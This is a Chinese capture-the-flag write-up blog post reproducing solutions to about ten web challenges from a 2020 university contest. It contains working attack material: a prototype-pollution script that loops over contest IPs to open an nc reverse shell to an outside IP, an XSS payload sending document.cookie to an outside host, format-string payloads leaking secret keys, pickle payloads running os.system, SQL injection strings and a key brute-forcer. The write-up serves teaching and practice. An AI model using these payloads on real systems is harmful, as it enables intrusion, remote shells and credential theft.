高校战“疫”网络安全分享赛 —— Write-up

Guessgame

这道题目当时没做出来,后来复现的时候,发现挺有意思的,题目中主要有三个考点

  • JS的大小写特征
  • 原型链污染
  • redos盲注

这儿主要着重介绍一下第三个考点
JS的 exec test RegExp match replace spite可以造成redos盲注

  • /([a-z]+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaa!');
  • /Runoob/g.test(str)
  • str.split(/\s+/)
  • str.replace(/Microsoft/g, "W3School")
  • 'secretmessage'.match('sa(((((.+)+)+)+)+)!');

payload:

import requests, sys
from time import time

prefix = ''
depth = 2

if len(sys.argv) >= 3:
    depth = int(sys.argv[2])
    prefix = sys.argv[1]
elif len(sys.argv) >= 2:
    depth = int(sys.argv[1])

suffix = '(' * depth + '.' + '*)' * depth + '*xxxxxx$'

r = []
for c in '_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-':
    begin = time()
    requests.get('http://localhost', params = {
        'answer': '^(?=' + prefix + c +')' + suffix
    });
    #print '(^?=' + prefix + c +')' + suffix
    r.append([c, time() - begin])
    
r = sorted(r, key = lambda x: x[1])

for d in r[::-1][:3]:
    print('[*] {} : {}'.format(d[0], d[1]))

在这里插入图片描述

参考链接
国外师傅
国内师傅

还看了VN的脚本,可以直接RCE

import requests

theips = ["http://121.37.179.47:8081/","http://121.37.167.12:80","http://121.37.167.12:81","http://121.37.167.12:82"]
proxies={"http":"http://localhost:4476"}
while 1:
    for i in theips:
        try:
            requests.post(i,json={"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc 106.14.15.50 1234 > /tmp/fa ');var __tmp2"}}},timeout=1,proxies=proxies)
            requests.get(i,timeout=1,proxies=proxies)
        except:
            pass

easy_trick_gzmtu

这道题目比赛的时候也没有做出来,只怪当时目光太狭隘了
当时题目是有明显的提示的

?time=Y 或者 Y=2020

这个很明显就是经过date()函数处理的,只是当时没看出来
只要在所有字符前面加反斜杠就不会当作日期的特殊字符处理
在这里插入图片描述

其实这道题也可以fuzz出来一些规律
比如 |x| 1=1-- -x代表fuzz的字符,这样可以fuzz出被替换为空的字符
根据这种方法也可以发现出一些规律~~

注入后就可以访问后台了,然后登录即可
接下来就是一些常规操作
首先是 file://读取文件,可以在前面加一个localhost,这样$parts['host']='localhost'成立

file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php

然后还有个一点就是参数取反绕过字母与数字


webct

部分源码

<?php
error_reporting(0);
class Db
{
    public $ip;
    public $user;
    public $password;
    public $option;
    function __construct($ip,$user,$password,$option)
    {
        $this->user=$user;
        $this->ip=$ip;
        $this->password=$password;
        $this->option=$option;
    }
    function testquery()
    {
        $m = new mysqli($this->ip,$this->user,$this->password);
        if($m->connect_error){
            die($m->connect_error);
        }
        $m->options($this->option,1);
        $result=$m->query('select 1;');
        if($result->num_rows>0)
        {
            echo '测试完毕,数据库服务器处于开启状态';
        }
        else{
            echo '测试完毕,数据库服务器未开启';
        }
    }
}

class File
{
    public $uploadfile;
    function __construct($filename)
    {
        $this->uploadfile=$filename;
    }
    function xs()
    {
        echo '请求结束';
    }
}

class Fileupload
{
    public $file;
    function __construct($file)
    {
        $this->file = $file;
    }
    function deal()
    {
        $extensionarr=array("gif","jpeg","jpg","png");
        $extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
        $type = $this->file->uploadfile['type'];
        //echo "type: ".$type;
        $filetypearr=array("image/jpeg","image/png","image/gif");
        if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
        {
            if ($_FILES["file"]["error"] > 0) {
                echo "错误:: " .$this->file->uploadfile["error"] . "<br>";
                die();
            }else{
                if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
                    mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
                }
                $upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
                move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
                echo "上传成功"."<br>";
            }
        }
        else{
            echo "不被允许的文件类型"."<br>";
        }
    }
    function __destruct()
    {
        $this->file->xs();
    }
}
class Listfile
{
    public $file;
    function __construct($file)
    {
        $this->file=$file;
    }
    function listdir(){
        system("ls ".$this->file)."<br>";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }
}

这儿有一个表单,会让我们填一个数据的配置数据,然后发送select 1
像这种链接外网的数据库,一下就能想到伪造mysql服务端,读取任意的文件
这儿$option填8就可以了,然后mysql的load_local_file也可以触发phar://反序列化
这样就能getshell


fmkq

这个题主要考察ssrf和格式化字符串漏洞
源码

 <?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
    $begin = "The number you want: ";
    extract($_GET);
    if($head == ''){
        die('Where is your head?');
    }
    if(preg_match('/[A-Za-z0-9]/i',$head)){
        die('Head can\'t be like this!');
    }
    if(preg_match('/log/i',$url)){
        die('No No No');
    }
    if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
        die('Don\'t use strange protocol!');
    }
    $funcname = $head.'curl_init';

    $ch = $funcname();
    if($ch){
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
    }
    else{
        $output = 'rua';
    }
    echo sprintf($begin.'%d',$output);
}
else{
    show_source(__FILE__);
} 

这儿简单介绍一下

$funcname = $head.'curl_init';   # 命令空间\绕过
echo sprintf($begin.'%d',$output);    #格式化字符串    %s%

然后内网扫描 得到8080端口是打开的
payload

/?url=http://localhost:8080/read/file=/etc/passwd&vipcode=0&head=\&begin=%s%

在这里插入图片描述

是如果file参数传入{file}时会被解析成error,尝试{file.__class__}之后确定后端为python且存在格式化字符串漏洞

payload

/?url=http://localhost:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode={file}&head=\&begin=%s%

得到vipcode的值

'vipcode': 'uJvFXyqiHnztNQBU10TYkepKjAh7xVMfmgdS4G9r5sWa6loL

然后读取源码
/app/base/readfile.py

from .vip import vip
import re
import os
class File:
    def __init__(self,file):
        self.file = file
    def __str__(self):
        return self.file
    def GetName(self):
        return self.file
class readfile():
    def __str__(self):
        filename = self.GetFileName()
        if '..' in filename or 'proc' in filename:
            return "quanbumuda"
        else:
            try:
                file = open("/tmp/" + filename, 'r')
                content = file.read()
                file.close()
                return content
            except:
                return "error"
    def __init__(self, data):
        if re.match(r'file=.*?&vipcode=.*?',data) != None:
            data = data.split('&')
            data = {
                data[0].split('=')[0]: data[0].split('=')[1],
                data[1].split('=')[0]: data[1].split('=')[1]
            }
            if 'file' in data.keys():
                self.file = File(data['file'])
            if 'vipcode' in data.keys():
                self.vipcode = data['vipcode']
            self.vip = vip()
    def test(self):
        if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
            return False
        else:
            return True
    def isvip(self):
        if self.vipcode == self.vip.GetCode():
            return True
        else:
            return False
    def GetFileName(self):
        return self.file.GetName()
current_folder_file = []
class vipreadfile():
    def __init__(self,readfile):
        self.filename = readfile.GetFileName()
        self.path = os.path.dirname(os.path.abspath(self.filename))
        self.file = File(os.path.basename(os.path.abspath(self.filename)))
        global current_folder_file
        try:
            current_folder_file = os.listdir(self.path)
        except:
            current_folder_file = current_folder_file
    def __str__(self):
        if 'fl4g' in self.path:
            return 'nonono,this folder is a secret!!!'
        else:
            output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
            filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
            output += filepath
            output += '\r\n\r\nThe content is:\r\n'
            try:
                f = open(filepath,'r')
                content = f.read()
                f.close()
            except:
                content = 'can\'t read'
            output += content
            output += '\r\n\r\nOther files under the same folder:\r\n'
            output += ' '.join(current_folder_file)
            return output

/app/base/vip.py

import random
import string
vipcode = ''
class vip:
    def __init__(self):
        global vipcode
        if vipcode == '':
            vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
            self.truevipcode = vipcode
        else:
            self.truevipcode = vipcode
    def GetCode(self):
        return self.truevipcode

/app/app.py

import web
from urllib.parse import unquote
from base.readfile import *
urls = (
    '/', 'help',
    '/read/(.*)','read'
)
web.config.debug = False
class help:
    def GET(self):
        help_information = '''
        Welcome to our FMKQ api, you could use the help information below
        To read file:
            /read/file=example&vipcode=example
            if you are not vip,let vipcode=0,and you can only read /tmp/{file}
        Other functions only for the vip!!!
        '''
        return help_information
class read:
    def GET(self,text):
        file2read = readfile(text)
        if file2read.test() == False:
            return "error"
        else:
            if file2read.isvip() == False:
                return ("The content of "+ file2read.GetFileName() +" is {file}").format(file=file2read)
            else:
                vipfile2read = vipreadfile(file2read)
                return (str(vipfile2read))
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

最终payload
发现vipfilefile一样存在格式化字符串漏洞,想到构造一个f绕过对fl4g的过滤,

/?url=http://localhost:8080/read/file={vipfile.__class__.__init__.__globals__[vipreadfile].__module__[9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=uJvFXyqiHnztNQBU10TYkepKjAh7xVMfmgdS4G9r5sWa6loL&head=\&begin=%s%

不知道为什么,我本地复现的时候我只写{vipfile.__class__.__init__.__globals__[vipreadfile].__module__[9]}的时候,没有解析?
在这里插入图片描述
然后我在后面加了几个字符串,又解析了
在这里插入图片描述

最近在复现百越杯的时候,不知道是不是环境的原因,一直没有成功

这儿简单记录一下
flask想要得到SECRET_KEY,可以通过SQLAlchemy中的cureent_app
payload:

{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

Django

经过翻找,我发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

在这里插入图片描述

payload:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

参考链接


Dooog

这个题说难也不难,说简单也不简单,主要还是要有一种大局的意识
题目主要分为三层
在这里插入图片描述

命令执行是在第二层
在这里插入图片描述

很明显,只要前后时间大于60秒,就能不进入命令判断,从而绕过命令执行的限制~~

在这里插入图片描述

所以我们直接在前面加一个time.sleep()函数,然后运行一下client中的app.py,就能反弹shell了
直接用python反弹shell
在这里插入图片描述


PHP-UAF

玄学题,很明显的bypass disable_function
我找的是github上的php7版本的脚本
但是直接访问脚本没有显示,必须包含进来~~
不知道为啥~~
在这里插入图片描述

happyvacation

当时比赛的时候,看见源码一大堆就不想做了,做其他题去了,因为有源码,所以就留到现在复现一下tcl~~

首先说一下非预期(出题人在测试过程中遇见的,这儿描述一下)~~

非预期

用户名无过滤XSS

在这里插入图片描述
刚开始的时候,出题人没有过滤用户名,而且直接从数据库拉出用户名在页面中,所以这儿可以直接打cookie

正则未过滤分号反引号 EVAL RCE

在这里插入图片描述

这儿可以直接执行命令,当时没有过滤单引号(反引号实际上是引用shell_exec)

CHECK.PHP构造RCE获取COOKIE地址

开始 check.php 没关回显,代码的逻辑是这样:

<<?php
if(isset($_GET['id'])){
    putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
    $cmd = "python3 /bot.py {$_GET['id']} {$_SERVER['HTTP_HOST']}";
    exec($cmd);
}
?>

而且参数id我们可控,这样就能传入一个url,将第二个参数挤出去~~
解决方案,将可控参数放在最后

文件名后缀构造ONERROR XSS

文件上传处虽然文件名被 md5 混淆,但是后缀并没有被转换,上传的文件最后会拼接成:

<img src = "/var/www/html/upload/md5.jpg" width="200px" />
可以在后缀名动手脚,上传任意文件,后缀为:
1.a"οnerrοr=alert(1);a="
之后会被拼接成:

<img src = "/var/www/html/upload/1.a"onerror=alert(1);a="" width="200px" />
从而成功弹窗。

修复方案:过滤掉引号转义符和&等编码符号。

##### EVAL过滤不严格导致RCE eval 处可以用短标签 `<?=?>` 形式注入代码,从而导致 RCE。

修复方案:eval之前加个白名单,只允许部分字符。

BLACK_LIST 置为 FALSE 导致任意文件上传

在这里插入图片描述

我们注意到这儿使用了clone,虽然这是一种浅复制,但是本身对象的子对象是复制
打个比方,$a = clone $b; 更改$a的属性不会影响$b的属性,但是$b有一个引入了另一个类,
此时更改$a引入的类同样会影响$b引入的类
访问 quiz.php?answer=user->uploader->black_list 会导致将文件后缀名的黑名单情况, 可以直接传马

出题人链接

预期解

首先题目中有一个csp

<meta http-equiv="Content-Security-Policy" content="style-src 'self'; script-src 'unsafe-inline' http://<?=$_SERVER['HTTP_HOST']?>/; object-src 'none'; frame-src 'self'">

这儿感觉就是xss打cookie了~~~
我们首先跟进一下源代码,清除一下执行流程~~

  • 首先执行点在User类中
    在这里插入图片描述

  • 输入点
    在这里插入图片描述
    这儿使用了addslashes,所以我们没法闭合var a = '{$this->info->message}';,所以我们要想办法使得网站编码为GBK,相当于SQL注入中的宽字节逃逸~~,接下来我们就看一下哪儿可以控制header~~

  • 寻找可控header
    在这里插入图片描述
    这儿我们可以清楚地看见,这儿有一个可控的header()
    我们找一下哪儿会执行go这个方法
    在方法jump中会执行go方法,但是jump中的参数我们不可控
    在这里插入图片描述
    接着我们又看见了,类结束的时候会执行魔法函数
    在这里插入图片描述
    首先是$this->flagfalse,我们要想办法让他变成true
    quiz.php中,我们可控两个参数,而且referer就是UrlHelper类中的referer,然后我们再传参answer,这样就能使得UrlHelper类中的locationreferer相等,而且也会使得$this->flag变为true

在这里插入图片描述

$dest = $this->pre . $this->location . $this->after;
header($dest);

这样我们就能完全控制location
首先$this->pre被写死了,但是我们可以通过前面说的clone来使其变为false
最终的步骤如下

  • 上传wave文件绕过csp
aaaaaaaaaaaaaaa/*bbbbbbbbbbbbbbbbbbb*/='test';window.open('http://xxx.xxx.xxx.xxx/?'+document.cookie);

- 将页面设置为GBK
 http://159.138.4.209:1002/quiz.php?answer=user->url->pre
http://159.138.4.209:1002/quiz.php?referer=Content-Type: text/html; charset=GBK;//
http://159.138.4.209:1002/quiz.php?answer=111

访问最后一个页面是触发go方法

  • 留言注入xss
%aa%27; var y=document.createElement(String.fromCharCode(115,99,114,105,112,116));y.src=String.fromCharCode(117,112,108,111,97,100,47,55,55,55,100,50,50,49,48,49,101,98,52,100,97,56,57,48,56,52,57,97,53,101,53,100,57,97,101,54,48,100,98,46,119,97,118,101);document.body.appendChild(y);//

由于不能使用单引号和双引号,所以后面的内容我们使用String.fromCharCode绕过
这儿xss的内容相当于 <script src=’1.wave’>,所以我们需要知道上传wave文件的路径

发现不止 wave 文件可以绕过,除了媒体流文件(mp3、mp4、wav 等后缀)均可以绕过 CSP(甚至 xxx 后缀也可)(image师傅)
  • 提交MD5

参考链接(Y1ng)


sqlcheckin

源代码

 <?php 
    $pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8;', 'root', '123456');
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
    $stmt = $pdo->prepare("SELECT name from flag where name='${_POST['username']}' and passwd='${_POST['password']}'");
    $stmt->execute();
	$stmt->debugDumpParams(); 
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['name'] == 'admin') {
            include('flag.php');
	exit();}}

这儿采用了PDO的模式,但是他是直接把我们的可控参数拼接到查询语句中,相当于没有使用PDO,不能防止注入,这儿过滤了很多东西,主要考察的是万能密码

  • '-0-'
  • 1'-'1
  • '&'1

这三个万能密码都可以得到flag,这儿主要考察的是sql的弱比较
假如上面三个万能密码都能使得passwd=0,注意这儿的0是数字类型的,只要数据库的密码是以字母开头或者以0开头的都能匹配上~~

webtmp

过滤了R

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

一开始考虑RCE

b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameq\x03X\x14\x00\x00\x00\xe4\xb8\x80\xe7\xbb\x99\xe6\x88\x91\xe5\x93\xa9giaogiaoq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00Giaoq\x06ub.'

提示global XX,应该是因为raise pickle.UnpicklingError(“global ‘%s.%s’ is forbidden” % (module, name)),后来考虑改写secret对象

在这里插入图片描述
secret.py

secret = {'name':'xx','category':'yy'}

exp.py

import pickle
import pickletools
import secret
class Animal:
    def __init__(self):
        self.name = 'aa'
        self.category = 'bb'
s = b'\x80\x03c__main__\nsecret\n}(Vname\nVaa\nVcategory\nVbb\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00aaX\x08\x00\x00\x00categoryX\x02\x00\x00\x00bbub.'
l = pickle.loads(s)
pickletools.dis(s)

在这里插入图片描述

这儿大致解释一下意思
首先是使用build指令来修改原文类属性值,然后通过0指令置空,然后再引入写入一个新的student对象,而且对象的值与我们修改的值一样,这样就能是判断相等,拿到flag了~~

NothardWeb

源码

<?php
    session_start();
    error_reporting(0);
    include "user.php";
    include "conn.php";
    $IV = "********";// you cant know that;
    if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
        if(!isset($_SESSION['key'])){
            $_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
            $_SESSION['iv'] = $IV;
        }
        $username = "guest";
        $o = new User($username);
        echo $o->show();
        $ser_user = serialize($o);
        $cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
        setcookie("user", base64_encode($cipher), time()+3600);
        setcookie("hash", md5($ser_user), time() + 3600);
    }
    else{
        $user = base64_decode($_COOKIE['user']);
        $uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
        if(md5($uid) !== $_COOKIE['hash']){
            die("no hacker!");
        }
        $o = unserialize($uid);
        echo $o->show();
        if ($o->username === "admin"){
            $_SESSION['name'] = 'admin';
            include "hint.php";
        }
    }

这儿我们需要找到两个值$_SESSION['key']$_SESSION['iv']

DES-CBC与AES-CBC不同,DES是采用8位为一个加密快

非预期

首先是$_SESSION是根据我们的cookie来保存的,假如我们删除了cookie,就能使得key和iv置空,即都变为''
这样就能轻易得到hash

预期解
解法一

随机数可以爆破出来,浏览题目,初步分析此处为 mt_rand 特性,第一次访问时可以拿到 第一次,第 227,228 次生成的随机数,爆破随机数种子之后可以得到 第 229 个随机数,得到密钥。
在这里插入图片描述

解法二

这个随机数当然也可以不爆破
由于随机数异或了0x5f5e0ff
在这里插入图片描述
换成二进制:0x5f5e0ff = 0b101111101011110000011111111(共有19个1),即54W种情况
在这里插入图片描述
爆破key

<?php
$cccc="%d0%d%d%d%d%d0%d0%d%d%d%d00000%d%d%d%d%d%d%d%d";

for ($a=0; $a < 2; $a++) { 
    for ($b=0; $b < 2; $b++) { 
        for ($c=0; $c < 2; $c++) { 
            for ($d=0; $d < 2; $d++) { 
                for ($e=0; $e < 2; $e++) { 
                    for ($f=0; $f < 2; $f++) { 
                        for ($g=0; $g < 2; $g++) { 
                            for ($h=0; $h < 2; $h++) { 
                                for ($i=0; $i < 2; $i++) { 
                                    for ($j=0; $j < 2; $j++) { 
                                        for ($k=0; $k < 2; $k++) { 
                                            for ($l=0; $l < 2; $l++) { 
                                                for ($m=0; $m < 2; $m++) { 
                                                    for ($n=0; $n < 2; $n++) { 
                                                        for ($o=0; $o < 2; $o++) { 
                                                            for ($p=0; $p < 2; $p++) { 
                                                                for ($q=0; $q < 2; $q++) { 
                                                                    for ($r=0; $r < 2; $r++) { 
                                                                        for ($s=0; $s < 2; $s++) { 
                                                                            $f_key=sprintf($cccc,$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k,$l,$m,$n,$o,$p,$q,$r,$s);
                                                                            $key=base_convert($f_key,2,10);
                                                                            $result=decode_aes($key);
                                                                            if(stripos($result,"guest")){
                                                                                echo $result;
                                                                                echo $key."\n";
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

function decode_aes($key){
    $ch=base64_decode("NGtWc0JCQ080dkNxcnhtVjVOSG1rQ3hWckRab3pjWkllTmdJMmovclR4YktzNk9FTERBSnYxSUNKVmQ4Qk55Qg==");
    $de = openssl_decrypt($ch,"des-cbc",$key,0,"abcdabcd");
    return $de;
}

?>
因为假如我们的key正确的话,就能还原出明文,虽然我们不知道iv,但是不影响后面的还原,仍然可以还原出来,不过第一块是乱码而已
然后就是还原出iv
<?php
$key = '12345678';
$cipher = base64_decode('cTFxWWdXd3UwOHMzeTFjYmRlWGdENDhQZHVTcjhYbUphL0U0RlJrTE1YR2N3Qi9oRGNFZ28zSmVFSTZjaS9hMg==');    #密文
$plain = 'O:4:"User":1:{s:8:"username";s:5:"guest";}';     #明文
$iv = substr(openssl_decrypt($cipher, "des-cbc", $key, 0, substr($plain, 0, 8)),0,8);
echo $iv;

# 我们得到密文和原文,就能还原出iv

接下来的就很简单了~~,这儿就不做过多阐述~~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值